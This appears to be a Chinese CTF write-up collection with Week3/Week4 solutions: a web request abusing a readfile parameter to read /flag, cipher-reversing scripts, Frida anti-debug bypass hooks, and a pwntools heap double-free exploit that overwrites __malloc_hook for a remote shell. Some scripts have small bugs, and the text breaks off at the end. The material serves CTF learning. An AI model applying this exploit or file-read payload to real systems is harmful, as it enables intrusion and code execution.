POST /view.php?image=/upload/1194265204.png&0=readfile HTTP/1.1
Host: 210.44.150.15:26177
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
1=/flag
Rev
[Week3]VTB
#include<iostream>
#include<algorithm>
#include<cstdio>
#include<cmath>
#include<map>
#include<vector>
#include<queue>
#include<stack>
#include<set>
#include<string>
#include<cstring>
#include<list>
#include<stdlib.h>
using namespace std;
typedef int status;
typedef int selemtype;
void __cdecl sbbb(unsigned int a1, uint32_t *a2, uint32_t *a3)
{
int result; // eax
unsigned int v4; // [esp+DCh] [ebp-2Ch]
unsigned int v5; // [esp+E8h] [ebp-20h]
unsigned int v6; // [esp+F4h] [ebp-14h]
unsigned int i; // [esp+100h] [ebp-8h]
v6 = *a2;
v5 = a2[1];
v4 = 0x4C307633 * a1;
for ( i = 0; i < a1; ++i )
{
v5 -= (a3[(v4 >> 11) & 3] + v4) ^ (v6 + ((v6 >> 5) ^ (16 * v6)));
v4 -= 0x4C307633;
v6 -= (a3[v4 & 3] + v4) ^ (v5 + ((v5 >> 5) ^ (16 * v5)));
}
*a2 = v6;
a2[1] = v5;
}
int main(void){
uint32_t v[]={
0x41ABC48D,
0x0E55BECAC,
0x6E9E5CDC,
0x262F0DEF,
0x3C48A65D,
0x0BC89B102,
0x65732236,
0x0FFF3E468,
0x60D3031C,
0x56CC67CC
};
uint32_t k[4]={0x114514, 0x1551, 0x5115, 0x144511};
unsigned int r=40;
uint32_t tmp[2];
for(int i=0; i<10; i+=2){
tmp[0] = v[i];
tmp[1] = v[i+1];
sbbb(r, tmp, k);
v[i] = tmp[0];
v[i+1] = tmp[1];
}
// 输出解密后的 flag
// for(int i=0; i<8; i++){
// printf("%c%c%c%c",
// (v[i] >> 24) & 0xFF,
// (v[i] >> 16) & 0xFF,
// (v[i] >> 8) & 0xFF,
// v[i] & 0xFF);
// }
printf("%s",v);
return 0;
}
[Week3]MMap
Java层的key需要爆破前五位,后面直接frida主动调用getkey()获取
function hook1() {
Java.perform(function () {
let MainActivity = Java.use("com.check.mmap.MainActivity");
MainActivity["getKey"].implementation = function () {
console.log('getKey is called');
let ret = this.getKey();
console.log('getKey ret value is ' + ret);
return ret;
};
})
}
function main(){
hook1();
}
setTimeout(main,300)
import hashlib
import itertools
target_hash = "f0338087107bd7c0af82b061f19742cd1199f54ed2f7b606952dd95fab9ce963"
# 要破解的字符
prefix = ""
data_mask = "噜噜噜噜噜3Ji0Kr1HdR77QlZz"
# 使用ASCII字符集合,这里只包含可见字符
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
# 查找data中的*的位置
mask_positions = [i for i, char in enumerate(data_mask) if char == '噜']
# 遍历所有可能的组合
for combination in itertools.product(charset, repeat=len(mask_positions)):
attempt = list(data_mask)
for position, char in zip(mask_positions, combination):
attempt[position] = char
attempt = prefix + ''.join(attempt)
print(attempt)
# 计算SHA-256散列
hash_attempt = hashlib.sha256(attempt.encode()).hexdigest()
# 检查是否匹配
if hash_attempt == target_hash:
print("找到匹配的XXXX值:", attempt)
exit()
ida动调获取加密后的值,直接还原得到flag
flag = []
data = [
0x99, 0xA6, 0x12, 0x82, 0xA1, 0x19, 0x02, 0xCD, 0x19, 0x6D,
0x86, 0xFF, 0x86, 0xCD, 0x49, 0xBB, 0x88, 0x33, 0xAC, 0x8C,
0x34, 0xC5, 0x12, 0x02, 0x81, 0x74, 0x2B, 0x76, 0x82, 0xE9,
0xF8, 0x82, 0x33, 0x82, 0xF0, 0x82
]
enc = [
0xcd,0xa2,0x46,0xd5,0xa1,0x4e,0x0a,0xcc,0x05,0x3a,0x84,0xac,
0x8e,0xd1,0x4a,0xb2,0xdd,0x37,0xb0,0xd8,0x67,0xc3,0x40,0x1e,
0x84,0x73,0x2b,0x7e,0x85,0xb9,0xff,0x80,0x3b,0xd2,0xf2,0xd0
]
for i in range(len(data)):
flag.append(chr(data[i] ^ enc[i] ^ 0x31))
print(''.join(flag))
[Week3]StrangeEncrypt
魔改AES–>
rcon,sbox数据修改,invShiftRows中改为ROR32,mixColumns与invMixColumns中的矩阵值变化
#include <stdint.h>
#include <stdio.h>
#include <string.h>
typedef struct{
uint32_t eK[44], dK[44]; // encKey, decKey
int Nr; // 10 rounds
}AesKey;
#define BLOCKSIZE 16 //AES-128分组长度为16字节
// uint8_t y[4] -> uint32_t x
#define LOAD32H(x, y) \
do { (x) = ((uint32_t)((y)[0] & 0xff)<<24) | ((uint32_t)((y)[1] & 0xff)<<16) | \
((uint32_t)((y)[2] & 0xff)<<8) | ((uint32_t)((y)[3] & 0xff));} while(0)
// uint32_t x -> uint8_t y[4]
#define STORE32H(x, y) \
do { (y)[0] = (uint8_t)(((x)>>24) & 0xff); (y)[1] = (uint8_t)(((x)>>16) & 0xff); \
(y)[2] = (uint8_t)(((x)>>8) & 0xff); (y)[3] = (uint8_t)((x) & 0xff); } while(0)
// 从uint32_t x中提取从低位开始的第n个字节
#define BYTE(x, n) (((x) >> (8 * (n))) & 0xff)
/* used for keyExpansion */
// 字节替换然后循环左移1位
#define MIX(x) (((S[BYTE(x, 2)] << 24) & 0xff000000) ^ ((S[BYTE(x, 1)] << 16) & 0xff0000) ^ \
((S[BYTE(x, 0)] << 8) & 0xff00) ^ (S[BYTE(x, 3)] & 0xff))
// uint32_t x循环左移n位
#define ROF32(x, n) (((x) << (n)) | ((x) >> (32-(n))))
// uint32_t x循环右移n位
#define ROR32(x, n) (((x) >> (n)) | ((x) << (32-(n))))
/* for 128-bit blocks, Rijndael never uses more than 10 rcon values */
// AES-128轮常量
static const uint32_t rcon[10] = {
// 0x01000000UL, 0x02000000UL, 0x04000000UL, 0x08000000UL, 0x10000000UL,
// 0x20000000UL, 0x40000000UL, 0x80000000UL, 0x1B000000UL, 0x36000000UL
0x36000000UL,0x1B000000UL,0x80000000UL,0x40000000UL,0x20000000UL,
0x10000000UL,0x08000000UL,0x04000000UL,0x02000000UL,0x01000000UL
};
// S盒
unsigned char S[256] = {
0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F,
0xA8, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0xBA, 0x78, 0x25, 0x2E,
0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD,
0x8B, 0x8A, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2,
0x75, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x09, 0x83,
0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3,
0x29, 0xE3, 0x2F, 0x84, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F,
0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E,
0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D,
0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54,
0xBB, 0x16, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B,
0xFE, 0xD7, 0xAB, 0x76, 0xCD, 0x0C, 0x13, 0xEC, 0x60, 0x81,
0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14,
0xDE, 0x5E, 0x0B, 0xDB, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03,
0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3,
0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A,
0xAE, 0x08, 0x63, 0x7C, 0x77, 0x7B, 0x5F, 0x97, 0x44, 0x17,
0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0xCA, 0x82,
0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF,
0x9C, 0xA4, 0x72, 0xC0, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC,
0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6,
0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2
};
//逆S盒
unsigned char inv_S[256] = {
226, 117, 5, 149, 41, 47, 165, 33, 191, 48, 163, 142, 125, 99, 151, 107,
252, 83, 34, 126, 139, 79, 111, 199, 45, 206, 51, 52, 20, 158, 89, 27,
228, 251, 132, 43, 166, 18, 67, 38, 94, 60, 133, 119, 50, 106, 19, 62,
116, 78, 161, 1, 72, 153, 68, 178, 246, 235, 162, 57, 8, 203, 145, 69,
242, 104, 102, 15, 198, 3, 136, 214, 148, 164, 236, 28, 237, 0, 182, 130,
7, 240, 56, 224, 109, 93, 185, 154, 238, 213, 54, 231, 167, 205, 141, 196,
128, 152, 171, 192, 204, 188, 147, 118, 103, 84, 232, 113, 184, 179, 53, 114,
144, 76, 222, 207, 26, 40, 123, 194, 17, 175, 189, 195, 193, 211, 202, 6,
35, 129, 209, 49, 63, 2, 156, 90, 135, 98, 31, 30, 96, 180, 86, 243,
134, 172, 244, 66, 87, 173, 46, 197, 82, 105, 32, 88, 220, 245, 159, 9,
55, 97, 218, 241, 221, 73, 21, 201, 10, 183, 13, 122, 170, 216, 190, 219,
108, 230, 39, 59, 22, 146, 249, 64, 138, 155, 16, 110, 248, 29, 234, 100,
223, 157, 168, 44, 200, 115, 23, 42, 177, 210, 208, 233, 71, 124, 92, 239,
11, 225, 255, 169, 217, 181, 58, 121, 77, 85, 250, 143, 131, 25, 140, 95,
160, 80, 36, 61, 174, 74, 101, 176, 24, 91, 187, 37, 127, 227, 137, 12,
215, 75, 112, 254, 186, 247, 150, 70, 81, 4, 212, 14, 229, 65, 120, 253,
};
/* copy in[16] to state[4][4] */
int loadStateArray(uint8_t (*state)[4], const uint8_t *in) {
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[j][i] = *in++;
}
}
return 0;
}
/* copy state[4][4] to out[16] */
int storeStateArray(uint8_t (*state)[4], uint8_t *out) {
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
*out++ = state[j][i];
}
}
return 0;
}
//秘钥扩展
int keyExpansion(const uint8_t *key, uint32_t keyLen, AesKey *aesKey) {
if (NULL == key || NULL == aesKey){
printf("keyExpansion param is NULL\n");
return -1;
}
if (keyLen != 16){
printf("keyExpansion keyLen = %d, Not support.\n", keyLen);
return -1;
}
uint32_t *w = aesKey->eK; //加密秘钥
uint32_t *v = aesKey->dK; //解密秘钥
/* keyLen is 16 Bytes, generate uint32_t W[44]. */
/* W[0-3] */
for (int i = 0; i < 4; ++i) {
LOAD32H(w[i], key + 4*i);
}
/* W[4-43] */
for (int i = 0; i < 10; ++i) {
w[4] = w[0] ^ MIX(w[3]) ^ rcon[i];
w[5] = w[1] ^ w[4];
w[6] = w[2] ^ w[5];
w[7] = w[3] ^ w[6];
w += 4;
}
w = aesKey->eK+44 - 4;
//解密秘钥矩阵为加密秘钥矩阵的倒序,方便使用,把ek的11个矩阵倒序排列分配给dk作为解密秘钥
//即dk[0-3]=ek[41-44], dk[4-7]=ek[37-40]... dk[41-44]=ek[0-3]
for (int j = 0; j < 11; ++j) {
for (int i = 0; i < 4; ++i) {
v[i] = w[i];
}
w -= 4;
v += 4;
}
return 0;
}
// 轮秘钥加
int addRoundKey(uint8_t (*state)[4], const uint32_t *key) {
uint8_t k[4][4];
/* i: row, j: col */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
k[i][j] = (uint8_t) BYTE(key[j], 3 - i); /* 把 uint32 key[4] 先转换为矩阵 uint8 k[4][4] */
state[i][j] ^= k[i][j];
}
}
return 0;
}
//字节替换
int subBytes(uint8_t (*state)[4]) {
/* i: row, j: col */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[i][j] = S[state[i][j]]; //直接使用原始字节作为S盒数据下标
}
}
return 0;
}
//逆字节替换
int invSubBytes(uint8_t (*state)[4]) {
/* i: row, j: col */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[i][j] = inv_S[state[i][j]];
}
}
return 0;
}
//行移位
int shiftRows(uint8_t (*state)[4]) {
uint32_t block[4] = {0};
/* i: row */
for (int i = 0; i < 4; ++i) {
//便于行循环移位,先把一行4字节拼成uint_32结构,移位后再转成独立的4个字节uint8_t
LOAD32H(block[i], state[i]);
block[i] = ROR32(block[i], 8*i);
STORE32H(block[i], state[i]);
}
return 0;
}
//逆行移位
int invShiftRows(uint8_t (*state)[4]) {
uint32_t block[4] = {0};
/* i: row */
for (int i = 0; i < 4; ++i) {
LOAD32H(block[i], state[i]);
block[i] = ROR32(block[i], 8*i);
STORE32H(block[i], state[i]);
}
return 0;
}
/* Galois Field (256) Multiplication of two Bytes */
// 两字节的伽罗华域乘法运算
uint8_t GMul(uint8_t u, uint8_t v) {
uint8_t p = 0;
for (int i = 0; i < 8; ++i) {
if (u & 0x01) { //
p ^= v;
}
int flag = (v & 0x80);
v <<= 1;
if (flag) {
v ^= 0x1B; /* x^8 + x^4 + x^3 + x + 1 */
}
u >>= 1;
}
return p;
}
// 列混合
int mixColumns(uint8_t (*state)[4]) {
uint8_t tmp[4][4];
uint8_t M[4][4] = {
{3,1,1,2},
{2,3,1,1},
{1,1,2,3},
{1,2,3,1}};
/* copy state[4][4] to tmp[4][4] */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j){
tmp[i][j] = state[i][j];
}
}
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) { //伽罗华域加法和乘法
state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
}
}
return 0;
}
// 逆列混合
int invMixColumns(uint8_t (*state)[4]) {
uint8_t tmp[4][4];
uint8_t M[4][4] = {
{9, 14, 13 ,11},
{13, 9, 11, 14},
{11, 13, 14, 9},
{14, 11, 9, 13}
};
//使用列混合矩阵的逆矩阵
/* copy state[4][4] to tmp[4][4] */
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j){
tmp[i][j] = state[i][j];
}
}
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
}
}
return 0;
}
// AES-128加密接口,输入key应为16字节长度,输入长度应该是16字节整倍数,
// 这样输出长度与输入长度相同,函数调用外部为输出数据分配内存
int aesEncrypt(const uint8_t *key, uint32_t keyLen, const uint8_t *pt, uint8_t *ct, uint32_t len) {
AesKey aesKey;
uint8_t *pos = ct;
const uint32_t *rk = aesKey.eK; //解密秘钥指针
uint8_t out[BLOCKSIZE] = {0};
uint8_t actualKey[16] = {0};
uint8_t state[4][4] = {0};
if (NULL == key || NULL == pt || NULL == ct){
printf("param err.\n");
return -1;
}
if (keyLen > 16){
printf("keyLen must be 16.\n");
return -1;
}
if (len % BLOCKSIZE){
printf("inLen is invalid.\n");
return -1;
}
memcpy(actualKey, key, keyLen);
keyExpansion(actualKey, 16, &aesKey); // 秘钥扩展
// 使用ECB模式循环加密多个分组长度的数据
for (int i = 0; i < len; i += BLOCKSIZE) {
// 把16字节的明文转换为4x4状态矩阵来进行处理
loadStateArray(state, pt);
// 轮秘钥加
addRoundKey(state, rk);
for (int j = 1; j < 10; ++j) {
rk += 4;
subBytes(state); // 字节替换
shiftRows(state); // 行移位
mixColumns(state); // 列混合
addRoundKey(state, rk); // 轮秘钥加
}
subBytes(state); // 字节替换
shiftRows(state); // 行移位
// 此处不进行列混合
addRoundKey(state, rk+4); // 轮秘钥加
// 把4x4状态矩阵转换为uint8_t一维数组输出保存
storeStateArray(state, pos);
pos += BLOCKSIZE; // 加密数据内存指针移动到下一个分组
pt += BLOCKSIZE; // 明文数据指针移动到下一个分组
rk = aesKey.eK; // 恢复rk指针到秘钥初始位置
}
return 0;
}
// AES128解密, 参数要求同加密
int aesDecrypt(const uint8_t *key, uint32_t keyLen, const uint8_t *ct, uint8_t *pt, uint32_t len) {
AesKey aesKey;
uint8_t *pos = pt;
const uint32_t *rk = aesKey.dK; //解密秘钥指针
uint8_t out[BLOCKSIZE] = {0};
uint8_t actualKey[16] = {0};
uint8_t state[4][4] = {0};
if (NULL == key || NULL == ct || NULL == pt){
printf("param err.\n");
return -1;
}
if (keyLen > 16){
printf("keyLen must be 16.\n");
return -1;
}
if (len % BLOCKSIZE){
printf("inLen is invalid.\n");
return -1;
}
memcpy(actualKey, key, keyLen);
keyExpansion(actualKey, 16, &aesKey); //秘钥扩展,同加密
for (int i = 0; i < len; i += BLOCKSIZE) {
// 把16字节的密文转换为4x4状态矩阵来进行处理
loadStateArray(state, ct);
// 轮秘钥加,同加密
addRoundKey(state, rk);
for (int j = 1; j < 10; ++j) {
rk += 4;
invShiftRows(state); // 逆行移位
invSubBytes(state); // 逆字节替换,这两步顺序可以颠倒
addRoundKey(state, rk); // 轮秘钥加,同加密
invMixColumns(state); // 逆列混合
}
invSubBytes(state); // 逆字节替换
invShiftRows(state); // 逆行移位
// 此处没有逆列混合
addRoundKey(state, rk+4); // 轮秘钥加,同加密
storeStateArray(state, pos); // 保存明文数据
pos += BLOCKSIZE; // 输出数据内存指针移位分组长度
ct += BLOCKSIZE; // 输入数据内存指针移位分组长度
rk = aesKey.dK; // 恢复rk指针到秘钥初始位置
}
return 0;
}
// 方便输出16进制数据
void printHex(const uint8_t *ptr, int len, const char *tag) {
for (int i = 0; i < len; ++i) {
printf("%c", *ptr++);
}
printf("\n");
}
int main() {
// case 1
const uint8_t key[16] = {0x34, 0x35, 0x36, 0x61, 0x66, 0x31, 0x66, 0x32, 0x35, 0x63,
0x62, 0x36, 0x62, 0x36, 0x64, 0x31};
const uint8_t pt[]={0x54, 0xFB, 0x0F, 0xDB, 0xBB, 0xE5, 0xE3, 0xE8, 0xA8, 0xEA,
0x7D, 0xDE, 0xEA, 0xE6, 0x47, 0xAC, 0x02, 0x06, 0x72, 0x87,
0x5F, 0x93, 0x1C, 0x8C, 0x2B, 0x7A, 0xC5, 0x4F, 0x92, 0x78,
0x72, 0xA9};
//密文:
/*
0x54, 0xFB, 0x0F, 0xDB, 0xBB, 0xE5, 0xE3, 0xE8, 0xA8, 0xEA,
0x7D, 0xDE, 0xEA, 0xE6, 0x47, 0xAC, 0x02, 0x06, 0x72, 0x87,
0x5F, 0x93, 0x1C, 0x8C, 0x2B, 0x7A, 0xC5, 0x4F, 0x92, 0x78,
0x72, 0xA9
*/
uint8_t ct[] = {0};
uint8_t plain[] = {0};
aesDecrypt(key, 16, pt, plain, 32); // 解密
printHex(plain, 32, "after decryption:"); // 打印解密后的明文数据
return 0;
}
Pwn
[Week3]ez_heap
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
#context(log_level='debug',arch='i386', os='linux')
p = remote("210.44.150.15",33925)
#p = process('./attachment')
elf = ELF('./attachment')
libc = ELF('./libc.so.6')
def add(size,content):
p.sendafter('choice :','1')
p.sendafter('Note size :',str(size))
p.sendafter('Content :',content)
def add(size):
p.sendafter('choice :','1')
p.sendafter('Note size :',str(size))
def free(index):
p.sendafter('choice :','2')
p.sendafter('Index :',str(index))
def show(index):
p.sendafter('choice :','3')
p.sendafter('Index :',str(index))
# leak libcbase
add(0x100,b'aaaa')#index 0
add(0x100,b'aaaa')#index 1
free(0)
show(0)
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libcbase -> ', hex(libcbase))
one_gadget = libcbase + 0x4527a
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc_hook = libcbase + libc.sym['__realloc_hook']
realloc = libcbase + libc.sym['realloc']
system = libcbase + libc.sym['system']
add(0x60, b'bbbbbb') #index 2
add(0x60,b'cccccc')#index 3
free(2)
free(3)
free(2)
add(0x60,p64(malloc_hook-0x23))#index 4
add(0x60, b'bbbbbb')
add(0x60, b'bbbbbb')
#gdb.attach(p)
add(0x60, b'a'*(0x13-8)+p64(one_gadget)+p64(realloc))
#one_gadget
#gdb.attach(p)
#gdb.attach(p)
add1(0x10)
p.interactive()
Rev
[Week4]easylogin
在调试的时候一直crash,猜测有反调试
在init_array段有函数,进行分析
发现使用libc中的函数进行了检测
但是是由pthread创建的线程函数中进行检测的,我们可以hook pthread使其最终返回为true
主要的判断在这个地方,我们只需要对函数找到偏移量设置寄存器的值使其相等即可
过掉检测后即可hook ID使其与预设的id相同了
Hook X0寄存器的值即可
function passAnti() {
Interceptor.attach(Module.getExportByName(null, "pthread_create"), {
onEnter: function (args) {
this.funAddr = args[2];
var instruction = Instruction.parse(this.funAddr.add(0x2b4));
console.warn("opcode->", instruction.mnemonic);
if (instruction.mnemonic === "cmp") {
Interceptor.attach(this.funAddr.add(0x2b4), {
onEnter: function (args) {
try {
// console.log("CMP:", this.context.x24, this.context.x25);
this.context.x25 = this.context.x24;
} catch (e) {
console.log(e);
}
}
});
} else {
console.log("The instruction is not CMP. Skipping Hook.");
}
},
onLeave: function (retval) {
// console.log("pthread_create ret");
}
});
}
function hook_addr() {
var baseaddr = Module.getBaseAddress("libeasylogin.so");
Interceptor.attach(baseaddr.add(0x1F250), {
onEnter: function (args) {
try {
var DeviceID = "a24256ec5983b4a8";
Memory.writeUtf8String(this.context.x0, DeviceID);
console.warn("Replace Value of x0:", this.context.x0.readCString());
} catch (e) {
console.error("Hook Error of:", e);
}
}
});
}
function hook_dlopenext() {
passAnti();
Interceptor.attach(Module.findExportByName("libdl.so", "android_dlopen_ext"), {
onEnter: function (args) {
var libName = args[0].readCString(); // 读取库的名称
console.log("[android_dlopen_ext] -> ", libName);
if (libName.includes("libeasylogin.so")) {
console.error("[Warning] Detected loading of 'libeasylogin' library!");
this.check = true; // 标记为 true,供 onLeave 使用
} else {
this.check = false; // 非目标库时标记为 false
}
},
onLeave: function (retval) {
if(this.check){
console.warn("Hacked!");
hook_addr();
}
}
});
}
setImmediate(hook_dlopenext);
[Week4]flower
使用pycdas查看字节码,pycdc无法正确反编译
有简单的变量名混淆
写出解密代码
char_set = "!#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_abcdefghijklmnopqrstuvwxyz{|}"
predefined_string = "?<u1#u1N_z'^%<!RG%G@K0[MMDN<3+y/Xl|Zs%BkA&cFF?dt70#l=-#7rU?a=<6X'|"
bit_buffer = 0
bit_count = 0
encrypted_list = []
for i in range(0, len(predefined_string), 2):
char1 = char_set.index(predefined_string[i])
char2 = char_set.index(predefined_string[i + 1])
buffer_segment = char1 * 91 + char2
bit_buffer = (bit_buffer << 13) | buffer_segment
bit_count += 13
while bit_count >= 8:
bit_count -= 8
encrypted_byte = (bit_buffer >> bit_count) & 255
encrypted_list.append(encrypted_byte)
input_str = ""
for index, value in enumerate(encrypted_list):
original_char = (value ^ (index << 3) - index) & 255
input_str += chr(original_char)
print(input_str)
[Week4]Excel CPU
data_of_all = [
0xBA5E, # var_0002
0xC0DE, # var_0003
0xFACE, # var_0004
0xF00D, # var_0005
0xCAFE, # var_0006
0xBABE, # var_0007
0xBEEF, # var_0008
0xDEAD, # var_0009
0x8529, # var_000A
0x35F7, # var_000B
0xB527, # var_000C
0x5556, # var_000D
0x9A9A, # var_000E
0x2D56, # var_000F
0xA3B6, # var_0010
0x0A98, # var_0011
0xAA76, # var_0012
0x8905, # var_0013
0x589B, # var_0014
0xBDF6, # var_0015
0x6A08, # var_0016
0x3AF7, # var_0017
0xE4A6, # var_0018
0x4BFA, # var_0019
0x74C9, # var_001A
0xE567, # var_001B
0x5599, # var_001C
0x914B, # var_001D
0x2208, # var_001E
0x6D7A, # var_001F
0xD456, # var_0020
0xB8E6, # var_0021
0x4478, # var_0022
0x9FB7, # var_0023
0xB5B8, # var_0024
0x4827, # var_0025
0xA88D, # var_0026
0x4835, # var_0027
0xF6CB, # var_0028
0xF467, # var_0029
0x4536, # var_002A
0x3B87, # var_002B
0xA656, # var_002C
0x56A6, # var_002D
0x08B8, # var_002E
0x0B5A, # var_002F
0x93B9, # var_0030
0x96D6, # var_0031
0x63C7, # var_0032
0xF888, # var_0033
0xB786, # var_0034
0x5378, # var_0035
0x2E68, # var_0036
]
key = [
0xBA5E,0xC0DE,0xFACE,0xF00D,0xCAFE,0xBABE,0xBEEF,0xDEAD,
]
enc = [ 0x8529, # var_000A
0x35F7, # var_000B
0xB527, # var_000C
0x5556, # var_000D
0x9A9A, # var_000E
0x2D56, # var_000F
0xA3B6, # var_0010
0x0A98, # var_0011
0xAA76, # var_0012
0x8905, # var_0013
0x589B, # var_0014
0xBDF6, # var_0015
0x6A08, # var_0016
0x3AF7, # var_0017
0xE4A6, # var_0018
0x4BFA, # var_0019
0x74C9, # var_001A
0xE567, # var_001B
0x5599, # var_001C
0x914B, # var_001D
0x2208, # var_001E
0x6D7A, # var_001F
0xD456, # var_0020
0xB8E6, # var_0021
0x4478, # var_0022
0x9FB7, # var_0023
0xB5B8, # var_0024
0x4827, # var_0025
0xA88D, # var_0026
0x4835, # var_0027
0xF6CB, # var_0028
0xF467, # var_0029
0x4536, # var_002A
0x3B87, # var_002B
0xA656, # var_002C
0x56A6, # var_002D
0x08B8, # var_002E
0x0B5A, # var_002F
0x93B9, # var_0030
0x96D6, # var_0031
0x63C7, # var_0032
0xF888, # var_0033
0xB786, # var_0034
0x5378, # var_0035
0x2E68, # var_0036
]
flag = ''
for i in range(len(enc)):
data1 = ((enc[i] - key[(10+i) % 8]) & 0xffff) ^ key[enc[i-1] % 8]
data2 = ((data1 & 0xffff) >> 12) | (data1 << 4)
flag += chr(data2 & 0xff)
print(flag)
汇编转python,调试可知前八个为key
[Week4]锦锈山河
encrypt里有明显的sm4_cbc加密 我们可以根据传参找到key
在函数里有iv的生成方式 即为rev(key)
所以iv为:B58F61DDCCC4422DEF6C66EAF8AD815D
密文(emoji)为:
我们可以根据make_emoji函数里的值写出解密的脚本
data = []
emoji = "😔😔😡😑😉😒😐😜😢😭😌😳😌😀😠😯😟😶😣😜😡😋😼😴😭😢😫😁😑😐😃😧😶😣😃😼😵😈😦😨😈😡😺😀😤😫😚😷😓😔😇😫😐😸😱😯😰😝😼😮😫😒😵😩😒😶😓😋😸😰😁😑😜😦😸😹😲😕😄😰😗😔😞😑😄😰😀😀"
for i in emoji:
data.append((ord(i) & 0xFF))
v19 = [0]*3
for i in range(0,len(a),4):
v19[2] = (data[i+3] & 0x3F) | ((data[i+2] & 0x03) << 6)
v19[1] = ((data[i+2]&0x3c)>>2) | ((data[i+1]&0xf) << 4)
v19[0] = (data[i]<<2) | ((data[i+1]&0x30)>>4)
for i in range(len(v19)):
print(hex(v19[i]), end=',')
发现可以对输入后的密文进行解密
但是不能直接把ida里的check emoji解密
猜测对比较的密文进行了修改
动调发现最后的主要判断逻辑在check里,在closure_0函数里有对解密密文的逐位判断
我们使用idapy获取这个rsp寄存器的值
import ida_dbg
rsp_value = ida_dbg.get_reg_val("rsp")
target_address = rsp_value + 0x38 - 0x8
value_at_address = idaapi.dbg_read_memory(target_address, 4)
if value_at_address:
value = int.from_bytes(value_at_address, byteorder='little')
print(hex(value),end=',')
获取的hex值其实是emoji的hex值
data = []
